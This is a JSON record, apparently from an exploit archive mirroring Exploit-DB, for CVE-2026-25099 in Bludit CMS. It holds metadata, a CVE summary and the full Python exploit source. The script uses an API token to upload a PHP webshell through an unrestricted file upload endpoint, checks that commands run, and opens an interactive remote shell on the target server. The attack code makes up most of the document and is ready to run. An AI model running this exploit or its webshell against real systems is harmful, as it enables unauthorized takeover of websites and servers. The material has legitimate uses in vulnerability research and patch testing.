{"exploit":{"id":"EDB-52553","name":"Bludit CMS 3.18.4 - Authenticated Remote Code Execution (RCE)","description":"Bludit CMS 3.18.4 - Authenticated Remote Code Execution (RCE)","cves":["CVE-2026-25099"],"author":"yahia","published":"2026-05-07","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52553","path":"exploits/php/webapps/52553.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52553.py","vulnerabilities":[{"id":"CVE-2026-25099","state":"PUBLISHED","title":"Remote Code Execution via Unrestricted File Upload in Bludit","titleSource":"CVE Program","description":"Bludit’s API plugin allows an authenticated attacker with a valid API token to upload files of any type and extension without restriction, which can then be executed, leading to Remote Code Execution. This issue was fixed in 3.18.4.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25099","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L","source":"CERT-PL","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25099"},"updatedAt":"2026-03-27T12:42:38.401Z","retrievedAt":"2026-11-25T16:15:50.398Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52553.png?v=2","url":"https://exploitbin.com/exploits/EDB-52553","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52553/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52553/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Bludit CMS 3.18.4 -  RCE\n# Date: 2026-03-28\n# Exploit Author: Yahia Hamza (https://yh.do)\n# Vendor Homepage: https://www.bludit.com/\n# Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip\n# Version: Bludit < 3.18.4\n# Tested on: Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3\n# CVE: CVE-2026-25099\n#\n# Description:\n# Bludit CMS API plugin allows an authenticated user with a valid API token\n# to upload files of any type and extension via POST /api/files/<page-key>.\n# The uploadFile() function performs no file extension or content validation,\n# allowing upload of PHP webshells that execute as www-data.\n#\n# The API token is generated when the API plugin is activated and is visible\n# to users with admin panel access. Tokens may also be exposed through\n# misconfiguration, log files, or other application vulnerabilities.\n#\n# Fixed in Bludit 3.18.4.\n#\n# Usage:\n#   python3 CVE-2026-25099.py -u http://target -t API_TOKEN\n#   python3 CVE-2026-25099.py -u http://target -t API_TOKEN -c \"id\"\n\nimport argparse\nimport requests\nimport sys\nimport random\nimport string\n\n\ndef get_page_key(base_url, token):\n    \"\"\"Retrieve a valid page key from the Bludit API.\"\"\"\n    try:\n        r = requests.get(\n            f\"{base_url}/api/pages\",\n            params={\"token\": token},\n            timeout=10\n        )\n        if r.status_code == 200:\n            data = r.json()\n            if data.get(\"data\") and len(data[\"data\"]) > 0:\n                return data[\"data\"][0][\"key\"]\n    except requests.RequestException as e:\n        print(f\"[-] Connection error: {e}\")\n    return None\n\n\ndef upload_shell(base_url, token, page_key):\n    \"\"\"Upload a PHP webshell via the unrestricted file upload endpoint.\"\"\"\n    shell_name = \"\".join(random.choices(string.ascii_lowercase, k=8)) + \".php\"\n    shell_content = '<?php if(isset($_REQUEST[\"cmd\"])){echo \"<pre>\";system($_REQUEST[\"cmd\"]);echo \"</pre>\";} ?>'\n\n    try:\n        r = requests.post(\n            f\"{base_url}/api/files/{page_key}\",\n            data={\"token\": token},\n            files={\"file\": (shell_name, shell_content, \"application/x-php\")},\n            timeout=10\n        )\n        if r.status_code == 200:\n            data = r.json()\n            if data.get(\"status\") == \"0\":\n                shell_url = f\"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}\"\n                return shell_url, shell_name\n    except requests.RequestException as e:\n        print(f\"[-] Upload error: {e}\")\n    return None, None\n\n\ndef execute_command(shell_url, cmd):\n    \"\"\"Execute a command via the uploaded webshell.\"\"\"\n    try:\n        r = requests.get(shell_url, params={\"cmd\": cmd}, timeout=10)\n        if r.status_code == 200 and \"<pre>\" in r.text:\n            return r.text.split(\"<pre>\")[1].split(\"</pre>\")[0].strip()\n    except requests.RequestException:\n        pass\n    return None\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE\"\n    )\n    parser.add_argument(\"-u\", \"--url\", required=True, help=\"Target URL (e.g., http://target)\")\n    parser.add_argument(\"-t\", \"--token\", required=True, help=\"Bludit API token\")\n    parser.add_argument(\"-c\", \"--command\", help=\"Command to execute (omit for interactive shell)\")\n    args = parser.parse_args()\n\n    base_url = args.url.rstrip(\"/\")\n\n    print(\"[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE\")\n    print(f\"[*] Target: {base_url}\")\n\n    # Step 1: Get page key\n    print(\"[*] Retrieving page key...\")\n    page_key = get_page_key(base_url, args.token)\n    if not page_key:\n        sys.exit(\"[-] Failed to retrieve page key. Check URL and token.\")\n    print(f\"[+] Page key: {page_key}\")\n\n    # Step 2: Upload webshell\n    print(\"[*] Uploading webshell...\")\n    shell_url, shell_name = upload_shell(base_url, args.token, page_key)\n    if not shell_url:\n        sys.exit(\"[-] Upload failed.\")\n    print(f\"[+] Shell uploaded: {shell_url}\")\n\n    # Step 3: Verify RCE\n    print(\"[*] Verifying RCE...\")\n    test = execute_command(shell_url, \"id\")\n    if not test:\n        sys.exit(\"[-] RCE verification failed. Shell may not be accessible.\")\n    print(f\"[+] RCE confirmed: {test}\")\n\n    # Step 4: Execute command or interactive shell\n    if args.command:\n        output = execute_command(shell_url, args.command)\n        if output:\n            print(output)\n    else:\n        print(\"\\n[+] Interactive shell (type 'exit' to quit)\\n\")\n        while True:\n            try:\n                cmd = input(\"shell> \")\n                if cmd.strip().lower() in (\"exit\", \"quit\"):\n                    break\n                if not cmd.strip():\n                    continue\n                output = execute_command(shell_url, cmd)\n                if output:\n                    print(output)\n                else:\n                    print(\"(no output)\")\n            except (KeyboardInterrupt, EOFError):\n                break\n\n    print(f\"\\n[*] Shell: {shell_url}\")\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"9b9f8821a83174cd03eab305ebe13f9791eef34d0f5aed4693934da5aee92afd","bytes":5000,"fetchedAt":"2026-11-26T11:05:45.014Z","encoding":"utf-8 (display only; download retains original bytes)"}